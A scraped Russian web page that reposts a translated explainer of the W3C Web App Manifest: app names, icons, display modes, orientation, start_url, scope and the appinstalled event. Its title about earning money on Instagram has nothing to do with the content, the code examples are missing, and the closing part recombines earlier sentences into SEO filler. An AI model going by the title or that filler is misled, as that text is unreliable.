Что Такое Манифест в Инстаграм Заработок •

Манифест? А? Что? Зачем. Перевод поясняющей заметки к… | by Vadim Makeev | Web Standards | Medium

Если вы хотели получить доступ к GPS устройства, вам приходилось писать нативное приложение.

Манифест? А? Что? Зачем?

Многие из нас, кто работает над вебом, активно стараются уменьшить разрыв между нативными и веб-приложениями.

Но что это за разрыв? Всего несколько лет назад этот разрыв был, в большей степени, технологическим. Если вы хотели получить доступ к GPS устройства, вам приходилось писать нативное приложение. Сейчас ситуация несколько улучшилась: теперь мы можем получать доступ к датчикам устройства, вроде GPS, камеры и ориентации устройства — хотя впереди ещё долгий путь. Благодаря последним успехам веб-технологий, теперь у нас есть платформа, которая может конкурировать с нативными приложениями уже почти на равных.

Сегодня разрыв между нативными и веб-приложениями не столько технологический — дело в удобстве пользователей: они предпочитают устанавливать приложения, которые уютно живут на домашнем экране (или даже на рабочем столе, если речь про десктопные браузеры).

Кроме того, нативные приложения по умолчанию работают в офлайне и интегрируются с возможностями, которые предоставляет операционная система: например, возможность видеть установленные приложения в переключателе задач. Или возможность управлять настройками конфиденциальности приложения в том же самом месте, что и для приложений, установленных из магазина. Чтобы сделать что-нибудь подобное в браузере, мы всё ещё слоняемся по браузеру в поисках открытых вкладок и вводим длинные, скучные адреса.

Нам нужен такой способ “установки” веб-приложений, чтобы они были неотличимы от любого другого приложения, установленного на устройстве пользователя. Но в тоже время, мы не хотим потерять мощные функции, составляющие основу веб-платформы: связанность ссылками, просмотр исходного кода и возможность хостить собственные проекты.

Мы в веб-сообществе, как правило, называем это “прогрессивными веб-приложениями”.

Что такое “установка”?

По сути, “установка” веб-приложения — это добавление “закладки” на домашний экран или в программу запуска приложений. Есть некоторые довольно очевидные вещи, которые вы, как разработчик, должны предоставить браузеру, чтобы тот мог считать сайт приложением: название, иконки, и т.д. Есть и более сложные функции, которые могут вам пригодиться, например, возможность указать предпочтительную ориентацию устройства и нужен ли вам полноэкранный режим.

Спецификация манифеста предлагает вам стандартный способ сделать это с помощью файла JSON. Просто сошлитесь на файл манифеста в HTML-странице следующим образом:

Но что находится в этом загадочном файле манифеста? Хорошо, что вы спросили!

Очень простой манифест

Самый простой манифест может состоять всего-то из имени и одной или нескольких иконок.

Типичный манифест

Более типичный манифест может выглядеть следующим образом. Имена его ключей должны говорить сами за себя, но мы подробнее опишем их использование ниже.

Вы используете Instagram для развлечения или работы?
РазвлеченияРаботы

Название приложения

Приложению нужно настоящее название или набор названий (которые обычно совсем не совпадают с содержимым элемента документа). Для этого используются ключи name и short_name .</p> <p>Ключ short_name служит названием приложения при отображении в условиях ограниченного пространства (например, под значком на домашнем экране телефона). Ключ name может быть немного длиннее, отображая название приложения полностью. Также он служит дополнительной информацией для пользователя, который ищет ваше приложения на телефоне. Так что, набрав “улётный” или “фото”, пользователь сможет найти приложение на своем устройстве.</p><div class='code-block code-block-5' style='margin: 8px 0; clear: both;'> <!-- Yandex.RTB R-A-1256441-5 --> <div id="yandex_rtb_R-A-1256441-5"></div> <script>window.yaContextCb.push(()=>{ Ya.Context.AdvManager.render({ renderTo: 'yandex_rtb_R-A-1256441-5', blockId: 'R-A-1256441-5' }) })</script></div> <p>Если вы опустите название, то браузер может использовать <meta name="application-name"> или элемент <title> .</p> <p>Но будьте внимательны: некоторые браузеры могут требовать указать название — иначе, ваше приложение может лишиться статуса “прогрессивное веб-приложение”.</p> <h1>Иконки</h1> <p>Вместо обычной иконки браузера, у вашего веб-приложения должна быть иконка, которая будет с ним ассоциироваться. Для этого в манифесте есть ключ icons . Он принимает список иконок, их размеров и форматов. Это делает процесс выбора иконки очень эффективным, поскольку у иконок появляется адаптивное решение, которое позволяет избежать ненужных нагрузок и помогает иконкам всегда выглядеть отлично на широком диапазоне устройств и разрешений экрана.</p> <p>Если вы не укажете иконки, браузер будет искать запасные варианты: <link rel="icon"> , <em>favicon.ico</em> или, если не найдёт их, может даже использовать скриншот вашего сайта.</p> <h1>Назначение иконки</h1> <p>Больше подробностей о назначении иконок можно найти в спецификации <em>Web App Manifest</em>.</p> <h1>Режимы отображения и ориентация</h1> <p>Приложения при запуске должны иметь возможность контролировать свое отображение на экране. Если это игра, то ей, вероятно, нужно быть в полноэкранном режиме и в горизонтальной ориентации. Для этого формат манифеста предоставляет вам два ключа.</p> <p>Доступные значения режимов отображения:</p> <ul> <li><strong>Полноэкранный</strong> fullscreen занимает весь экран.</li> <li><strong>Автономный</strong> standalone открывает приложение со строкой состояния.</li> <li><strong>Минимальный</strong> minimal-ui , когда приложение отображается в полноэкранном режиме, как на <em>iOS</em>, но некоторые действия могут вызывать панель навигации и появление кнопок назад и вперед.</li> <li><strong>Браузерный</strong> browser открывает приложение со стандартным набором кнопок и панелью инструментов.</li> </ul> <p>Плюс такого указания ориентации в том, что она выступает в качестве “ориентации по умолчанию” для всего приложения. Поэтому, при переходе от одной странице к другой, ваше приложение остается в правильном положении. Вы можете изменить ориентацию по умолчанию с помощью <em>API</em> ориентации экрана.</p><div class='code-block code-block-7' style='margin: 8px 0; clear: both;'> <!-- Yandex Native Ads C-A-1256441-7 --> <div id="id-C-A-1256441-7"></div> <script>window.yaContextCb.push(()=>{ Ya.Context.AdvManager.renderWidget({ renderTo: 'id-C-A-1256441-7', blockId: 'C-A-1256441-7' }) })</script></div> <p>Также вы можете применить другие стили для приложение в определённом режиме с помощью характеристики display-mode :</p> <p>Используйте метод window.matchMedia() , чтобы проверить это медиавыражение в <em>JavaScript</em>.</p> <h1>Стартовый адрес</h1> <p>Иногда при запуске приложения вам нужно, чтобы пользователь всегда попадал на определенную страницу. Ключ start_url даёт возможность это указать.</p> <h1>“Область” приложения</h1> <p>Нативные приложения имеют чёткие границы: как пользователь, вы уверены, что когда вы открываете нативное приложение, оно неожиданно не откроет другое незаметно для вас. Чаще всего, вам предельно ясно, что вы переключились с одного нативного приложения на другое. Обычно эти визуальные подсказки предоставляет операционная система (например, вызов диспетчера задач и выбор другого приложения или нажатие <em>Cmd Tab</em> или <em>Alt Tab</em> на компьютере).</p> <p>С вебом все иначе: это огромная гипертекстовая система, в которой веб-приложение может охватывать несколько доменов: вы можете с легкостью перейти с <em>gmail.com</em> на <em>docs.google.com</em> и пользователь даже этого не заметит. На практике, идея существования границ приложения является абсолютно чуждой для веба. Ведь, в действительности, веб-приложение — это просто серия <em>HTML</em>-документов (представьте “серию труб”… м-м, нет, забудьте!).</p> <p>В интернете мы знаем, что покидаем область одного приложения и переходим в другое, только благодаря веб-дизайнерам, которые были достаточно добры, чтобы сделать им уникальный различимый дизайн. В случаях, когда это не так, множество пользователей оказываются обмануты сайтами, маскирующимися под другие (старый добрый фишинг).</p> <p>Формат манифеста решает эту проблему позволяя указывать “область адреса” для вашего приложения. Эта область устанавливает границы для приложения. Это может быть либо домен, либо директория на этом домене.</p> <h1>Интернационализация: lang и dir</h1> <h1>Распространение приложения</h1> <p>Нужно написать с подробностями и скриншотами.</p> <h1>Цвет темы и цвет фона</h1> <h1>Как мне определить, что пользователь “установил” приложение?</h1> <p>Спецификация позволяет вам определить, когда пользователь устанавливает приложение с помощью регистрации события appinstalled .</p> <p>Однако по причинам конфиденциальности вы не можете непосредственно обнаружить, установлено ли ваше приложение — только узнать, что в вашем веб-приложении используется файл манифеста.</p> <h1>Что не так с тегами <meta>?</h1> <p>В ходе обсуждения спецификации шли оживленные дискуссии об использовании тегов <meta> в <em>HTML</em> вместо создания нового формата. В конце концов, реализация функции “добавить на домашний экран” в <em>Chrome</em> использует теги <meta> , да и с самых первых дней веба эти теги были родным домом для всякой нестандартной ерунды.</p> <p>Причины для использования отдельного файла:</p> <ul> <li>это экономит кучу информации в шапке документа при загрузке каждой страницы установленного приложения или сайта;</li> <li>после загрузки, файл остаётся в <em>HTTP</em>-кэше браузера.</li> </ul> <p>В спецификации есть более подробная информация о том, почему мы выбрали <em>JSON</em> вместо <em>HTML</em>-тегов.</p> <h1>Кто это внедряет?</h1> <p>Манифест и прогрессивные веб-приложения реализованы в <em>Chrome</em>, <em>Opera</em> и <em>Samsung Internet</em> для <em>Android</em>. <em>Firefox</em> также подаёт обнадёживающие сигналы, что будет поддерживать эти стандарты (реализации в <em>Gecko</em> уже больше двух лет, но она не используется ни в одном из продуктов).</p> <h1>Взаимодействие с поисковыми роботами</h1> <p>Как и другие веб-ресурсы, манифест веб-приложения должен быть доступен для любого веб-браузера или поискового робота.</p> <p>Если разработчик веб-приложения хочет известить поисковых роботов о запрете на сканирование файла, он <strong>может</strong> сделать это включив манифест веб-приложения в файл <em>robots.txt</em>. Это описано подробнее в протоколе <em>robots.txt</em>. Разработчик веб-приложения также может использовать <em>HTTP</em>-заголовок <em>X-Robots-Tag</em>.</p> <h1>Авторы</h1> <p>Основная часть этого пояснения первоначально появилась в статье “<em>The W3C App Manifest specification</em>” на <em>HTML5 Doctor</em>, и была написана Маркусом Касересом и Брюсом Лоусоном. Данный материал публикуется на основе лицензии для некоммерческое использования. Вы можете спокойно изменять, повторно использовать, модифицировать и расширять это пояснение. Некоторые авторы сохраняют свои авторские права на отдельные статьи.</p> <p> </div></div> </p> <h2>Очень простой манифест</h2> <p>Самый простой манифест может состоять всего-то из имени и одной или нескольких иконок.</p> <p>Более типичный манифест может выглядеть следующим образом. Имена его ключей должны говорить сами за себя, но мы подробнее опишем их использование ниже. Как Заработать на Манифест в Инстаграм.</p> <p> Однако по причинам конфиденциальности вы не можете непосредственно обнаружить, установлено ли ваше приложение только узнать, что в вашем веб-приложении используется файл манифеста. Нативные приложения имеют чёткие границы как пользователь, вы уверены, что когда вы открываете нативное приложение, оно неожиданно не откроет другое незаметно для вас. <br /> Есть и более сложные функции, которые могут вам пригодиться, например, возможность указать предпочтительную ориентацию устройства и нужен ли вам полноэкранный режим. Но будьте внимательны некоторые браузеры могут требовать указать название иначе, ваше приложение может лишиться статуса прогрессивное веб-приложение. </p> <table style="border: 2px solid Teal"> <tbody> <tr> <td style="text-align: center" align="center"><span style="font-size: 21px;color: #9037FD"></span><br />В конце концов, реализация функции добавить на домашний экран в Chrome использует теги meta , да и с самых первых дней веба эти теги были родным домом для всякой нестандартной ерунды. Это делает процесс выбора иконки очень эффективным, поскольку у иконок появляется адаптивное решение, которое позволяет избежать ненужных нагрузок и помогает иконкам всегда выглядеть отлично на широком диапазоне устройств и разрешений экрана. </td> </tr> </tbody> </table> <div class="flat_pm_end"></div> <div class='code-block code-block-9' style='margin: 8px 0; clear: both;'> <hr> Вопросы по Instagram - вы можете прочитать интересующую вас информацию на сайте<p style="text-align: center;"><a href="https://instagrammatika.ru/tag/targetirovannaya-reklama/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Таргетированная реклама</span></a> <a href="https://instagrammatika.ru/tag/cherez-telefon/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Через телефон</span></a> <a href="https://instagrammatika.ru/tag/cherez-kompyuter/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Через компьютер</span></a> <a href="https://instagrammatika.ru/tag/lichnaya-zhizn/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Личная жизнь</span></a> <a href="https://instagrammatika.ru/tag/korotko-o-glavnom/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Коротко о главном в Инстаграм</span></a> <a href="https://instagrammatika.ru/tag/vozmozhnye-problemy/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Проблемы при работе с Инстаграм</span></a> <a href="https://instagrammatika.ru/tag/reklama-u-blogerov/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Реклама в instagram</span></a> <a href="https://instagrammatika.ru/tag/ispolzujte-xeshtegi/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Хорошие хештеги</span></a> <a href="/https://instagrammatika.ru/tag/poshagovaya-instrukciya/" class="su-button su-button-style-default" style="color:#FFFFFF;background-color:#C14992;border-color:#9b3b75;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px" target="_self"><span style="color:#FFFFFF;padding:0px 14px;font-size:12px;line-height:24px;border-color:#d480b3;border-radius:24px;-moz-border-radius:24px;-webkit-border-radius:24px;text-shadow:none;-moz-text-shadow:none;-webkit-text-shadow:none"> Подробные инструкции</span></a></p> <hr> <!-- Yandex.RTB R-A-1256441-9 --> <div id="yandex_rtb_R-A-1256441-9"></div> <script>window.yaContextCb.push(()=>{ Ya.Context.AdvManager.render({ renderTo: 'yandex_rtb_R-A-1256441-9', blockId: 'R-A-1256441-9' }) })</script></div> <!-- AI CONTENT END 2 --> </div><!-- .entry-content --> </article><!-- #post-## --> <div class="entry-footer"> <span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span> </div> <div class="b-share b-share--post"> <div class="b-share__title">Понравилась статья? Поделиться с друзьями:</div> <span class="b-share__ico b-share__vk js-share-link" data-uri="https://vk.com/share.php?url=https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F"></span> <span class="b-share__ico b-share__fb js-share-link" data-uri="https://www.facebook.com/sharer.php?u=https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F"></span> <span class="b-share__ico b-share__tw js-share-link" data-uri="https://twitter.com/share?text=%D0%A7%D1%82%D0%BE+%D0%A2%D0%B0%D0%BA%D0%BE%D0%B5+%D0%9C%D0%B0%D0%BD%D0%B8%D1%84%D0%B5%D1%81%D1%82+%D0%B2+%D0%98%D0%BD%D1%81%D1%82%D0%B0%D0%B3%D1%80%D0%B0%D0%BC+%D0%97%D0%B0%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BE%D0%BA+%E2%80%A2&url=https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F"></span> <span class="b-share__ico b-share__ok js-share-link" data-uri="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&service=odnoklassniki&st.shareUrl=https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F"></span> <span class="b-share__ico b-share__whatsapp js-share-link js-share-link-no-window" data-uri="whatsapp://send?text=%D0%A7%D1%82%D0%BE+%D0%A2%D0%B0%D0%BA%D0%BE%D0%B5+%D0%9C%D0%B0%D0%BD%D0%B8%D1%84%D0%B5%D1%81%D1%82+%D0%B2+%D0%98%D0%BD%D1%81%D1%82%D0%B0%D0%B3%D1%80%D0%B0%D0%BC+%D0%97%D0%B0%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BE%D0%BA+%E2%80%A2%20https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F"></span> <span class="b-share__ico b-share__viber js-share-link js-share-link-no-window" data-uri="viber://forward?text=%D0%A7%D1%82%D0%BE+%D0%A2%D0%B0%D0%BA%D0%BE%D0%B5+%D0%9C%D0%B0%D0%BD%D0%B8%D1%84%D0%B5%D1%81%D1%82+%D0%B2+%D0%98%D0%BD%D1%81%D1%82%D0%B0%D0%B3%D1%80%D0%B0%D0%BC+%D0%97%D0%B0%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BE%D0%BA+%E2%80%A2%20https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F"></span> <span class="b-share__ico b-share__telegram js-share-link js-share-link-no-window" data-uri="https://t.me/share/url?url=https%3A%2F%2Finstagrammatika.ru%2Fblog%2Fchto-takoe-manifest-v-instagram-zarabotok-p0145%2F&text=%D0%A7%D1%82%D0%BE+%D0%A2%D0%B0%D0%BA%D0%BE%D0%B5+%D0%9C%D0%B0%D0%BD%D0%B8%D1%84%D0%B5%D1%81%D1%82+%D0%B2+%D0%98%D0%BD%D1%81%D1%82%D0%B0%D0%B3%D1%80%D0%B0%D0%BC+%D0%97%D0%B0%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BE%D0%BA+%E2%80%A2"></span> </div> <div class="b-related"><div class="b-related__header"><span>Вам также может быть интересно</span></div><div class="b-related__items"> <div id="post-5888" class="post-card post-card-related post-5888 post type-post status-publish format-standard has-post-thumbnail category-blog tag-3-sposob-eksport tag-vykladyvaem-izobrazhenie-v-vk tag-instrukciya-po-integrirovaniyu"> <div class="post-card__image"><a href="https://instagrammatika.ru/blog/kak-opublikovyvat-iz-kontakta-v-instagram-p0127/"><img width="330" height="140" src="https://instagrammatika.ru/wp-content/uploads/2021/06/WAB-June-Designs-7-330x140.png" class="attachment-thumb-wide size-thumb-wide wp-post-image" alt="подписи в инстаграм" loading="lazy" /><div class="entry-meta"><span class="entry-category"><span>blog</span></span><span class="entry-meta__info"><span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span></span></div></a></div><header class="entry-header"><div class="entry-title"><a href="https://instagrammatika.ru/blog/kak-opublikovyvat-iz-kontakta-v-instagram-p0127/">Как Опубликовывать из Контакта в Инстаграм • Инструкция по интегрированию</a></div></header><div class="post-card__content">Почему Инстаграм не делится фото с ВКонтакте: причины, решение Инстаграм не делится публикаций в</div> </div> <div id="post-3306" class="post-card post-card-related post-3306 post type-post status-publish format-standard has-post-thumbnail category-blog tag-prilozheniya-na-telefon tag-fejkovyj-profil"> <div class="post-card__image"><a href="https://instagrammatika.ru/blog/kak-nezametno-posmotret-storis-v-instagrame-p0119/"><img width="330" height="140" src="https://instagrammatika.ru/wp-content/uploads/2021/06/call-1866884_640-330x140.jpg" class="attachment-thumb-wide size-thumb-wide wp-post-image" alt="посмотреть инстаграм" loading="lazy" /><div class="entry-meta"><span class="entry-category"><span>blog</span></span><span class="entry-meta__info"><span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span></span></div></a></div><header class="entry-header"><div class="entry-title"><a href="https://instagrammatika.ru/blog/kak-nezametno-posmotret-storis-v-instagrame-p0119/">Как Незаметно Посмотреть Сторис в Инстаграме • Фейковый профиль</a></div></header><div class="post-card__content">Как смотреть Инстаграм сторис анонимно – способы и сервисы Вы загружаете фото, которое хотите</div> </div> <div id="post-5294" class="post-card post-card-related post-5294 post type-post status-publish format-standard has-post-thumbnail category-blog"> <div class="post-card__image"><a href="https://instagrammatika.ru/blog/pochemu-v-instagrame-ne-podpisyvayutsya-podpischiki-p0119/"><img width="330" height="140" src="https://instagrammatika.ru/wp-content/uploads/2021/06/WAB-June-Designs-7-330x140.png" class="attachment-thumb-wide size-thumb-wide wp-post-image" alt="подписи в инстаграм" loading="lazy" /><div class="entry-meta"><span class="entry-category"><span>blog</span></span><span class="entry-meta__info"><span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span></span></div></a></div><header class="entry-header"><div class="entry-title"><a href="https://instagrammatika.ru/blog/pochemu-v-instagrame-ne-podpisyvayutsya-podpischiki-p0119/">Почему в Инстаграме не Подписываются Подписчики •</a></div></header><div class="post-card__content">Как не привлечь ботов и иностранцев к себе в Инстаграм | SpamGuard Еще один</div> </div> <div id="post-6912" class="post-card post-card-related post-6912 post type-post status-publish format-standard has-post-thumbnail category-blog"> <div class="post-card__image"><a href="https://instagrammatika.ru/blog/kak-napisat-v-instagrame-sinim-cvetom-p0119/"><img width="330" height="140" src="https://instagrammatika.ru/wp-content/uploads/2021/06/image-asset-330x140.jpeg" class="attachment-thumb-wide size-thumb-wide wp-post-image" alt="инстаграм регистрация" loading="lazy" /><div class="entry-meta"><span class="entry-category"><span>blog</span></span><span class="entry-meta__info"><span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span></span></div></a></div><header class="entry-header"><div class="entry-title"><a href="https://instagrammatika.ru/blog/kak-napisat-v-instagrame-sinim-cvetom-p0119/">Как Написать в Инстаграме Синим Цветом •</a></div></header><div class="post-card__content">Стикер; напиши мне; (DM Me) в Инстаграм – как работает, как добавить На первый</div> </div> <div id="post-11061" class="post-card post-card-related post-11061 post type-post status-publish format-standard has-post-thumbnail category-blog"> <div class="post-card__image"><a href="https://instagrammatika.ru/blog/kak-izmenit-reakcii-na-soobshheniya-v-instagram-p0119/"><img width="330" height="140" src="https://instagrammatika.ru/wp-content/uploads/2021/06/istockphoto-535970955-612x612-1-330x140.jpg" class="attachment-thumb-wide size-thumb-wide wp-post-image" alt="найти в инстаграме" loading="lazy" /><div class="entry-meta"><span class="entry-category"><span>blog</span></span><span class="entry-meta__info"><span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span></span></div></a></div><header class="entry-header"><div class="entry-title"><a href="https://instagrammatika.ru/blog/kak-izmenit-reakcii-na-soobshheniya-v-instagram-p0119/">Как Изменить Реакции на Сообщения в Инстаграм •</a></div></header><div class="post-card__content">Как сделать сообщение ✉ непрочитанным в Инстаграм На айфон На IOS можно также изменить</div> </div> <div id="post-4496" class="post-card post-card-related post-4496 post type-post status-publish format-standard has-post-thumbnail category-blog tag-aaa-logo-software tag-banner-maker-pro"> <div class="post-card__image"><a href="https://instagrammatika.ru/blog/kak-sdelat-takoj-logotip-v-instagrame-p0119/"><img width="330" height="140" src="https://instagrammatika.ru/wp-content/uploads/2021/06/1030_instagram_cover-330x140.jpg" class="attachment-thumb-wide size-thumb-wide wp-post-image" alt="инстаграм удалена" loading="lazy" /><div class="entry-meta"><span class="entry-category"><span>blog</span></span><span class="entry-meta__info"><span class="entry-meta__comments" title="Комментарии"><span class="fa fa-comment-o"></span> 0</span></span></div></a></div><header class="entry-header"><div class="entry-title"><a href="https://instagrammatika.ru/blog/kak-sdelat-takoj-logotip-v-instagrame-p0119/">Как Сделать Такой Логотип в Инстаграме • Aaa logo software</a></div></header><div class="post-card__content">Топ-8 программ для создания логотипов | Как сделать логотип самостоятельно Logo Design Studio Pro</div> </div></div></div> <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://instagrammatika.ru/blog/chto-takoe-manifest-v-instagram-zarabotok-p0145/" content="Что Такое Манифест в Инстаграм Заработок •"> <meta itemprop="dateModified" content="2021-11-05"> <meta itemprop="datePublished" content="2021-11-05T21:06:59+03:00"> <div itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="🤳 Insta Грамматика"><meta itemprop="telephone" content="🤳 Insta Грамматика"><meta itemprop="address" content="https://instagrammatika.ru"></div> <div id="comments" class="comments-area"> <div id="respond" class="comment-respond"> <div id="reply-title" class="comment-reply-title">Добавить комментарий <small><a rel="nofollow" id="cancel-comment-reply-link" href="/blog/chto-takoe-manifest-v-instagram-zarabotok-p0145/#respond" style="display:none;">Отменить ответ</a></small></div><form action="https://instagrammatika.ru/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-form-author"><label for="author">Имя <span class="required">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" required='required' /></p> <p class="comment-form-email"><label for="email">Email <span class="required">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" required='required' /></p> <p class="comment-form-url"><label for="url">Сайт</label> <input id="url" name="url" type="url" value="" size="30" maxlength="200" /></p> <p class="comment-form-comment"><label for="comment">Комментарий</label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required="required"></textarea></p><div class="comment-smiles js-comment-smiles"><img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/wink.png" alt=";-)"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/neutral.png" alt=":|"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/mad.png" alt=":x"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/twisted.png" alt=":twisted:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/smile.png" alt=":smile:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/eek.png" alt=":shock:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/sad.png" alt=":sad:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/rolleyes.png" alt=":roll:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/razz.png" alt=":razz:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/redface.png" alt=":oops:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/surprised.png" alt=":o"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/mrgreen.png" alt=":mrgreen:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/lol.png" alt=":lol:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/idea.png" alt=":idea:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/biggrin.png" alt=":grin:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/evil.png" alt=":evil:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/cry.png" alt=":cry:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/cool.png" alt=":cool:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/arrow.png" alt=":arrow:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/confused.png" alt=":???:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/question.png" alt=":?:"> <img src="https://instagrammatika.ru/wp-content/themes/root/images/smilies/exclaim.png" alt=":!:"> </div><p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /> <label for="wp-comment-cookies-consent">Сохранить моё имя, email и адрес сайта в этом браузере для последующих моих комментариев.</label></p> <p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Отправить комментарий" /> <input type='hidden' name='comment_post_ID' value='7952' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </p><p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="092c5d4f59" /></p><p style="display: none !important;"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="112"/><script>document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() );</script></p></form> </div><!-- #respond --> </div><!-- #comments --> </main><!-- #main --> </div><!-- #primary --> </div><!-- micro --> <aside id="secondary" class="widget-area" itemscope itemtype="http://schema.org/WPSideBar"> <div id="block-2" class="widget widget_block"><div id="vk_post_-200370601_167"></div> <script type="text/javascript" src="https://vk.com/js/api/openapi.js?169"></script> <script type="text/javascript"> (function() { VK.Widgets.Post("vk_post_-200370601_167", -200370601, 167, '35lxGMMhKyZWg31KmHcdqJoqOw_d'); }()); </script></div><div id="rpwe_widget-3" class="widget rpwe_widget recent-posts-extended"><div class="widget-header">НАШИ НЕДАВНИЕ ЗАПИСИ ИЗ РУБРИКИ FAQ</div><div class="rpwe-block"><ul class="rpwe-ul"><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://instagrammatika.ru/faq/kak-mozhno-izmenjat-shrift-v-instagrame/" target="_self"><img class="rpwe-alignleft rpwe-thumb" 